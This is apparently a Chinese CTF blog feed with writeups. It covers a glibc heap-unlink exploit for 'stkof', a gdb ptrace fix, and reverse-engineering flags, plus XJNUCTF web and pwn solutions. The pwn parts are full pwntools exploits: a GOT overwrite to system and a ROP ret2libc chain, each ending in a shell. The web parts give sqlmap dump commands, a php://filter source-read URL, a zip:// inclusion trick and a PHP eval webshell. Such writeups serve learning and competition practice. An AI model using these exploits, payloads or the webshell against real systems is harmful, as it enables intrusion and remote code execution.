BK=0x0 BK=ptr-0x8 BK=before_before_PRE_size
String String String

此时

chunk1 FD = fake_chunk_PRE_size = ptr - 0x12
chunk3 BK = fake_chunk_PRE_size=ptr - 0x8

满足

FD->bk = P 
BK->fd = P

64位时

chunk1 fake chunk chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x30 SIZE=0x80
FD=next_next_PRE_size FD=ptr-0x18 FD=0x0
BK=0x0 BK=ptr-0x10 BK=before_before_PRE_size
String String String

此时

chunk1 FD = fake_chunk_PRE_size = ptr - 0x18
chunk3 BK = fake_chunk_PRE_size=ptr - 0x10

满足

FD->bk = P 
BK->fd = P

查看题目 stkof

__int64 sub_400C58()
{
  while ( fgets((char *)&v3, 10, stdin) )
  {
    v0 = atoi((const char *)&v3);
    if ( v0 == 2 )
    {
      v2 = edite(&v3); //creat chunk
      goto LABEL_14;
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        v2 = delete(); // free chunk
        goto LABEL_14;
      }
      if ( v0 == 4 )
      {
        v2 = print(); //print 
        goto LABEL_14;
      }
    }
    else if ( v0 == 1 )
    {
      v2 = alloc(); //creat chunk size
      goto LABEL_14;
    }

}

查看下每一个函数

alloc

fgets((char *)&v3, 16, stdin);
v1 = atoll((const char *)&v3);
v2 = (char *)malloc(v1) //malloc size
if ( !v2 )
  return 0xFFFFFFFFLL;
ptr[++dword_602100] = v2;  //指针存在于全局变量中 跟入++dword_60210即可查看到
printf("%d\n", (unsigned int)dword_602100, v1);

edite

fgets((char *)&v5, 16, stdin);
v2 = atol((const char *)&v5);
if ( v2 > 0x100000 )
  return 0xFFFFFFFFLL;
if ( !ptr[v2] )
  return 0xFFFFFFFFLL;
fgets((char *)&v5, 16, stdin);
v3 = atoll((const char *)&v5);
v4 = ptr[v2];
// 无限制读入大小 可以无限制读入 导致溢出
for ( i = fread(v4, 1uLL, v3, stdin); i > 0; i = fread(v4, 1uLL, v3, stdin) ) 
{
  v4 += i;
  v3 -= i;
}
if ( v3 )
  result = 0xFFFFFFFFLL;
else
  result = 0LL;
return result;

delete

fgets((char *)&v2, 16, stdin);
v1 = atol((const char *)&v2);
if ( v1 > 0x100000 )
  return 0xFFFFFFFFLL;
if ( !ptr[v1] )
  return 0xFFFFFFFFLL;
free(ptr[v1]); //free chunk
ptr[v1] = 0LL;
return 0LL;

那么存在堆溢出 并且无限制creat chunk and chunk size
满足unlink

构造思路

既然知道了需要构造unlink ,所以来屡屡怎么操作
1.至少创建3个chunk(4个也可以,第四个chunk用来写/bin/sh\x00)
2.防止top chunk 合并导致无法利用
3.64位程序 fd bk满足条件

fd = ptr  - 0x18
bk = ptr  - 0x10

4.注意ptr地址位全局变量地址+0x10(gdb调试可以看出)
5.leak出真实函数地址:puts atoi都可以
6.得到system函数地址
7.getshell

pwndbg> x/10gx 0x602140
0x602140:    0x0000000000000000    0x0000000000000000
0x602150:    0x0000000000e05a80    0x0000000000e05aa0
0x602160:    0x0000000000000000    0x0000000000000000
0x602170:    0x0000000000000000    0x0000000000000000
0x602180:    0x0000000000000000    0x0000000000000000

发现指针地址从 0x602150可写
而全局变量地址位 0x602140 所以 ptr地址= 0x602140+0x10

创建4个small chunk

alloc(0x80//idx1 use to leak puts addr
alloc(0x80//idx2  overflow to write a fake chunk 
alloc(0x80//idx3 use to unlink
alloc(0x80//idx4 write /bin/sh\x00

fake chunk 构造

ptr = 0x602140+0x10
fd = ptr -0x18
bk =ptr-0x10
payload = p64(0) #fake_chunk PRE_size
payload += p64(0x30) #fake_chunk size
payload +=p64(fd)#fake_chunk fd
payload +=p64(bk) #fake_chunk bk
payload +='a'*0x10 #fake_string
payload += p64(0x30) #overflow fake_chunk
payload += p64(0x90) #overwrite chunk3 PRE_size
edite(2,payload)
delete(3) #unlink fake chunk, now chunk2*ptr  =&(chunk2*ptr) - 0x18 = ptr-0x10 - 8

fgets接收的字符地址距离rsp 0x24
所以可以构造leak payload

payload1 = 'a'*8+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
edite(2,payload1) #overwrite 
edite(1,p64(elf.symbols['puts']))# write puts.plt
free(2) #leak puts addr
data = p.recvuntil('OK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)

接着计算出system地址 以及在chunk4中写入/bin/sh\x00

system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()

exp

from pwn import *

context.log_level = 'debug'
p = process('./stkof')
elf = ELF('stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):
    p.sendline("1")
    p.sendline(str(size))
    p.recvuntil("OK\n")

def read_in(idx,content):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(str(content))
    p.recvuntil('OK\n')

def free_it(idx):
    p.sendline("3")
    p.sendline(str(idx))

#gdb.attach(p)
ptr = 0x602140 +0x10
alloc(0x60) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4


payload = p64(0) #fake chunk pre_size
payload += p64(0x30) #fake chunk size
payload += p64(ptr-0x18) #fake fd
payload += p64(ptr-0x10) #fake bk
payload += 'A'*0x10
payload += p64(0x30)#overflow fake chunk
payload += p64(0x90)#overflow next chunk pre_size size

read_in(2,payload)
free_it(3)
p.recvuntil('OK\n')
payload1 = 'a'*16+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])

read_in(2,payload1)
read_in(1,p64(elf.plt['puts']))
free_it(2)

data = p.recvuntil('\nOK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)


#puts_addr = u64(p.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
#print hex(puts_addr)
system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()

成功getshell 此题只用与学习unlink操作 以及学习glibc保护机制
由于ubuntu18.04中对堆操作进行了修改 所以此unlink.py在ubuntu18.04中无法成功leak 在malloc4个smallchunk后出现和并(继续研究~)

]]>
<p>首先理解下unlink操作 </p> <p>初始三个chunk大小都为0x80</p> <table> <thead> <tr> <th>chunk1</th> <th></th> <th>chunk2</th> <th></th> <th>chunk3</th> </tr
GDB-attach-pid没有权限解决方法 http://iosmosis.github.io/2018/11/09/GDB-attach-pid没有权限解决方法/ 2018-11-09T07:22:27.000Z 2018-11-09T07:52:22.000Z gab调试时遇到

pwndbg> attach 15790
Attaching to process 15790
Could not attach to process.  If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user.  For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 15790 is a zombie - the process has already terminated
ptrace: 不允许的操作.

解决方法:

➜  ~ sudo vi /etc/sysctl.d/10-ptrace.conf

kernel.yama.ptrace_scope = 1

改为

kernel.yama.ptrace_scope = 0

重启即可

]]>
<p>gab调试时遇到</p> <p></p><p class="code-caption" data-lang="bash" data-line_number="frontend" data-trim_indent="backend" data-label_position="
SUSCTF-Writeup(Reverse) http://iosmosis.github.io/2018/10/29/SUSCTF-Writeup-Reverse/ 2018-10-29T08:04:11.000Z 2018-10-29T12:11:54.000Z 60


下载载入IDA 查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v4 = -1;
  printf("Guess number: ", argv, envp);
  __isoc99_scanf("%d", &v4);
  if ( v4 == 2333333 )
  {
    printf("Congraz! You are right. This is your flag: ");
    get_flag();
  }
  else
  {
    puts("Nop. You should try harder~");
  }
  return 0;
}

逻辑很简单 输入2333333即可getflag

FLAG : SUSCTF{H3llo_wOr1d!}

70


提示工具 uncompyle6

安装完毕 运行

uncompyle6 HelloPython.pyc

得到源代码

➜  下载 uncompyle6 HelloPython.pyc
# uncompyle6 version 3.2.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
# [GCC 7.3.0]
# Embedded file name: HelloPython.py
# Compiled at: 2018-09-27 23:27:58
# Size of source mod 2**32: 1227 bytes
import sys
if len(sys.argv) < 5:
    print("I can't give you flag :(")
    sys.exit(0)

def Fibonacci(n):
    if n == 0:
        return 0
    elif n == 1:
        return 1
    else:
        numfn1 = 0
        numfn2 = 1
        for i in range(2, n + 1):
            currentNum = numfn1 + numfn2
            numfn1 = numfn2
            numfn2 = currentNum

        return currentNum


def encrypt(key, s):
    b = bytearray(str(s).encode('gbk'))
    n = len(b)
    c = bytearray(n * 2)
    j = 0
    for i in range(0, n):
        b1 = b[i]
        b2 = b1 ^ key
        c1 = b2 % 16
        c2 = b2 // 16
        c1 = c1 + 65
        c2 = c2 + 65
        c[j] = c1
        c[j + 1] = c2
        j = j + 2

    return c.decode('gbk')


def decrypt(key, s):
    c = bytearray(str(s).encode('gbk'))
    n = len(c)
    if n % 2 != 0:
        return ''
    else:
        n = n // 2
        b = bytearray(n)
        j = 0
        for i in range(0, n):
            c1 = c[j]
            c2 = c[j + 1]
            j = j + 2
            c1 = c1 - 65
            c2 = c2 - 65
            b2 = c2 * 16 + c1
            b1 = b2 ^ key
            b[i] = b1

        return b.decode('gbk')


if int(sys.argv[1]) > 10:
    if Fibonacci(int(sys.argv[1])) == int(sys.argv[4]):
        print(decrypt(15, 'MFKFMFMELFJEEHIFMDDGMGAGCGKGAFLHAGAFPHGHLHHGAGBGICMHAFIHAGNHODLGCH'))
# okay decompiling HelloPython.pyc

分析 存在加密解密函数 如果满足第一个三处等于第四个参数且第一个参数大于10就输出解密后面的字符串

这里我们可以删除 if语句 以及最前面的长度判断 直接print
所以可以得到源码

# uncompyle6 version 3.2.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
# [GCC 7.3.0]
# Embedded file name: HelloPython.py
# Compiled at: 2018-09-27 23:27:58
# Size of source mod 2**32: 1227 bytes
import sys
def Fibonacci(n):
    if n == 0:
        return 0
    elif n == 1:
        return 1
    else:
        numfn1 = 0
        numfn2 = 1
        for i in range(2, n + 1):
            currentNum = numfn1 + numfn2
            numfn1 = numfn2
            numfn2 = currentNum

        return currentNum


def encrypt(key, s):
    b = bytearray(str(s).encode('gbk'))
    n = len(b)
    c = bytearray(n * 2)
    j = 0
    for i in range(0, n):
        b1 = b[i]
        b2 = b1 ^ key
        c1 = b2 % 16
        c2 = b2 // 16
        c1 = c1 + 65
        c2 = c2 + 65
        c[j] = c1
        c[j + 1] = c2
        j = j + 2

    return c.decode('gbk')


def decrypt(key, s):
    c = bytearray(str(s).encode('gbk'))
    n = len(c)
    if n % 2 != 0:
        return ''
    else:
        n = n // 2
        b = bytearray(n)
        j = 0
        for i in range(0, n):
            c1 = c[j]
            c2 = c[j + 1]
            j = j + 2
            c1 = c1 - 65
            c2 = c2 - 65
            b2 = c2 * 16 + c1
            b1 = b2 ^ key
            b[i] = b1

        return b.decode('gbk')


print(decrypt(15, 'MFKFMFMELFJEEHIFMDDGMGAGCGKGAFLHAGAFPHGHLHHGAGBGICMHAFIHAGNHODLGCH'))

运行可以得到flag

SUSCTF{W3lcome_to_python's_wor1d}

150

载入ida分析

if ( strlen(s) == 30 )
{
  for ( i = 0; i <= 29; ++i )
  {
    if ( (s[i] ^ *(&v5 + i)) != *(&v35 + i) )
    {
      puts("Something wrong, you should try harder.");
      return 0;
    }
  }
  puts("Congrazzzzzz~ You got it!");
  result = 0;
}
else
{
  puts("Something wrong, you should try harder.");
  result = 0;
}

可以得出flag长度为30且 要满足 if中的xor操作 这里处理一下两个数组

得到可观代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4[31]; // [rsp+Ch] [rbp-134h]
  int v5[30]; // [rsp+90h] [rbp-B0h]
  char s[8]; // [rsp+110h] [rbp-30h]
  __int64 v7; // [rsp+118h] [rbp-28h]
  __int64 v8; // [rsp+120h] [rbp-20h]
  __int64 v9; // [rsp+128h] [rbp-18h]
  __int64 v10; // [rsp+130h] [rbp-10h]
  unsigned __int64 v11; // [rsp+138h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v4[1] = 48;
  v4[2] = 46;
  v4[3] = 96;
  v4[4] = 101;
  v4[5] = 116;
  v4[6] = 9;
  v4[7] = 73;
  v4[8] = 125;
  v4[9] = 25;
  v4[10] = 84;
  v4[11] = 5;
  v4[12] = 23;
  v4[13] = 109;
  v4[14] = 26;
  v4[15] = 28;
  v4[16] = 100;
  v4[17] = 17;
  v4[18] = 64;
  v4[19] = 21;
  v4[20] = 52;
  v4[21] = 74;
  v4[22] = 122;
  v4[23] = 29;
  v4[24] = 68;
  v4[25] = 54;
  v4[26] = 17;
  v4[27] = 31;
  v4[28] = 80;
  v4[29] = 73;
  v4[30] = 8;
  v5[0] = 99;
  v5[1] = 123;
  v5[2] = 51;
  v5[3] = 38;
  v5[4] = 32;
  v5[5] = 79;
  v5[6] = 50;
  v5[7] = 5;
  v5[8] = 41;
  v5[9] = 38;
  v5[10] = 90;
  v5[11] = 38;
  v5[12] = 30;
  v5[13] = 69;
  v5[14] = 121;
  v5[15] = 80;
  v5[16] = 98;
  v5[17] = 57;
  v5[18] = 74;
  v5[19] = 64;
  v5[20] = 5;
  v5[21] = 37;
  v5[22] = 111;
  v5[23] = 119;
  v5[24] = 64;
  v5[25] = 116;
  v5[26] = 109;
  v5[27] = 101;
  v5[28] = 44;
  v5[29] = 117;
  *(_QWORD *)s = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  printf("Give me flag: ", argv, envp);
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 30 )
  {
    for ( v4[0] = 0; v4[0] <= 29; ++v4[0] )
    {
      if ( (s[v4[0]] ^ v4[v4[0] + 1]) != v5[v4[0]] )
      {
        puts("Something wrong, you should try harder.");
        return 0;
      }
    }
    puts("Congrazzzzzz~ You got it!");
    result = 0;
  }
  else
  {
    puts("Something wrong, you should try harder.");
    result = 0;
  }
  return result;
}

分析代码 若要获得flag 需要将v4的每一位与v5的每一位xor操作 即可

EXP

v4 = [48,46,96,101,116,9,73,125,25,84,5,23,109,26,28,100,17,64,21,52,74,122,29,68,54,17,31,80,73,8]
v5 = [99,123,51,38,32,79,50,5,41,38,90,38,30,69,121,80,98,57,74,64,5,37,111,119,64,116,109,101,44,117]

str = ''
for i in range(0,30):

    str += chr((v4[i]^v5[i]))

print str

运行即可

FLAG : SUSCTF{x0r_1s_e4sy_tO_r3ver5e}

150


载入IDA 分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  signed int i; // [rsp+Ch] [rbp-44h]
  char s[48]; // [rsp+10h] [rbp-40h]
  __int16 v6; // [rsp+40h] [rbp-10h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  v6 = 0;
  srand(0xDEADBEEF);
  printf("Give me flag: ", argv);
  __isoc99_scanf("%s", s);
  if ( strlen(s) == 39 )
  {
    for ( i = 0; i <= 38; ++i )
    {
      if ( (rand() % 127 ^ s[i]) != c_text[i] )
      {
        puts("Wrong");
        return 0;
      }
    }
    puts("Right");
    result = 0;
  }
  else
  {
    puts("Wrong");
    result = 0;
  }
  return result;
}

核心操作

for ( i = 0; i <= 38; ++i )
{
  if ( (rand() % 127 ^ s[i]) != c_text[i] )
  {
    puts("Wrong");
    return 0;
  }
}

和上一题类似 只不过需要猜测随机数
但是srand 可以预测 所以我们 先写一个随机数预测脚本

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
intmain(void)
 {

 srand(0xDEADBEEF);
 for(int i=0;i<50;i++){
   printf("%d,",rand()%127);
 }
 return 0;

 }

EXP



c = [0,0x51,0x32,0x7B,0x78,0x76,0x23,0x22,0x25,0x61,0x77,0x4C,0x28,0x6D,0x37,0x67,0x2B,0xA,1,0x2C,0xE,0x34,8,0x35,0x5F,0x2C,0x3B,0x49,0x68,0x1F,0x7E,0x61,0xD,0x67,0x75,0x78,0x5E,0x6D,0x18]
srand = [83,4,97,56,44,48,88,80,68,15,19,124,69,50,90,83,82,104,100,115,96,91,63,106,44,77,93,122,55,108,49,12,104,19,68,21,59,30,101,119,37,120,116,99,36,80,55,118,49,20]
str =''
for i in range(0,39):

    str += chr((c[i]^srand[i]))

print str
SUSCTF{rand0m_m4ybe_no7_saf3_sOmet1mes}
]]>
<h3 id="60"><a href="#60" class="headerlink" title="60"></a>60</h3><p><img src="/2018/10/29/SUSCTF-Writeup-Reverse/1.png" alt=""><br>下载载入IDA
XJNUCTF-Writeup http://iosmosis.github.io/2018/10/04/XJNUCTF-Writeup/ 2018-10-04T09:57:59.000Z 2018-10-04T12:00:16.000Z Web10

1

查看

2

得到提示 应该是注入

3

测试发现这里存在sql语句查询

所以用sqlmap这个工具跑一下就可以了

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1"

4

确实存在注入

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –tables

5

得到flag表 那我们dump出来看一下

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –dump -T flag

6

Web20

7

8

弹出提示 你不属于这里

猜测需要伪造访问ip

9

配置好burp代理

抓包伪造ip

10

提示未登录 修改0为1

11

她会提示你用的不是iphone 999

利用谷歌浏览器模拟iphone客户端

12

抓包

13

得到iPhonex的地址

修改os版本

14

得到flag

Web40

15

16

提示 flag就在index.php中 但是没办法查看 猜测为git泄露

使用工具githack

17

18

得到flag

Web100

19

20

发现url处存在文件包含

尝试读取upload.php源码

http://ctf.xjnu.edu.cn:666/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

21

Base64解密即可得到源码

22

发现upload目录可任意读取下载,

23

打开得到源码

24

过滤了%00

这里用到了王松师傅的思路

https://www.hackersb.cn/hacker/105.html

25

测试创建一个php文件

接着压缩修改后缀名为 ss.png

Exp

http://ctf.xjnu.edu.cn:666/index.php?file=zip://upload/ss.png%23he.html.php

成功执行命令

26

写入一句话

<?php @eval($_POST['a']); ?>

27

成功拿到shell

28

成功拿到flag

babypwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-70h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4, 0LL); //漏洞存在点
  puts("send success!");
  return 0;
}

程序很简单 没有多余的流程 漏洞也很明显

检查保护

ubuntu@ubuntu:~$ checksec babypwn
[*] '/home/ubuntu/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ubuntu@ubuntu:~$

NX开启

思路:

通过溢出leak puts 从而得到libc版本 进而得到system地址及bin/sh地址

偏移计算 offset = 0x70+8

构造leak

寻找gadget

ubuntu@ubuntu:~$ ROPgadget --binary babypwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040071c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400720 : pop r14 ; pop r15 ; ret
0x0000000000400722 : pop r15 ; ret
0x000000000040071b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400723 : pop rdi ; ret  // 这里是我们需要的
0x0000000000400721 : pop rsi ; pop r15 ; ret
0x000000000040071d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

Unique gadgets found: 12
from pwn import *

p = process('./babypwn')
elf = ELF('babypwn')

puts_plt = elf.symbols['puts']

print 'puts_plt:'+hex(puts_plt)
puts_got = elf.got['puts']
print 'puts_got:'+hex(puts_got)
start_addr = 0x400550
pop_rdi=0x400723 #pop rdi ; ret

p.recvuntil("What do you plan to do?\n")

payload = 'A'*120+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload =  溢出偏移+pop_rdi_ret(因为64位下以寄存器传参)+给puts()赋值+循环地址(也可以是leak该puts的函数地址)
p.sendline(payload)
log.info(p.recvuntil("send success!\n"))
data = p.recvuntil('\n',drop=True)

puts = u64(data.ljust(8,'\x00'))

print hex(puts)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

通过https://libc.blukat.me 进行查询

libcsearch

找到libc版本 接着获取system地址及binsh地址

system = puts -libc.symbols['puts']+libc.symbols['system']
print hex(system)
binsh = next(libc.search('/bin/sh'))
binsh = puts - libc.symbols['puts'] + binsh
payload = 'A'*120+p64(pop_rdi)+p64(binsh)+p64(system) 
p.sendline(payload)
p.interactive()

成功getshell

RE50

29

使用IDA打开

30

定位到main函数

看到一些常量

31

拼接 即可获得flag

]]>
<h3 id="Web10"><a href="#Web10" class="headerlink" title="Web10"></a>Web10</h3><p><img src="/2018/10/04/XJNUCTF-Writeup/1.png" alt="1"></p>